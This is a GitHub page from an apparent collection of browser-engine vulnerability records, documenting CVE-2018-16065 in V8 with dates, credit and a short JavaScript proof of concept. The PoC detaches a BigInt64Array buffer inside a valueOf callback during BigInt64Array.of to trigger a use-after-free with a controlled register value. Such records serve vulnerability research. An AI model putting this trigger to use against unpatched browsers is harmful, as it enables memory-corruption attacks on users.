Skip to content

Latest commit

 

History

History
32 lines (22 loc) · 512 Bytes

CVE-2018-16065.md

File metadata and controls

32 lines (22 loc) · 512 Bytes

CVE-2018-16065

  • Report: Jul 2018
  • Fix: Jul 2018
  • Credit: Brendon Tiszka

PoC

// flags: --allow-natives-syntax --expose-gc

var array = new BigInt64Array(11);

function evil_callback() {
  %ArrayBufferNeuter(array.buffer);
  gc();
  return 71748523475265n - 16n; // rax: 0x41414141414141
}

var evil_object = {valueOf: evil_callback}

var root = BigInt64Array.of.call(
  function() { return array },
  evil_object
)

gc(); // trigger

Reference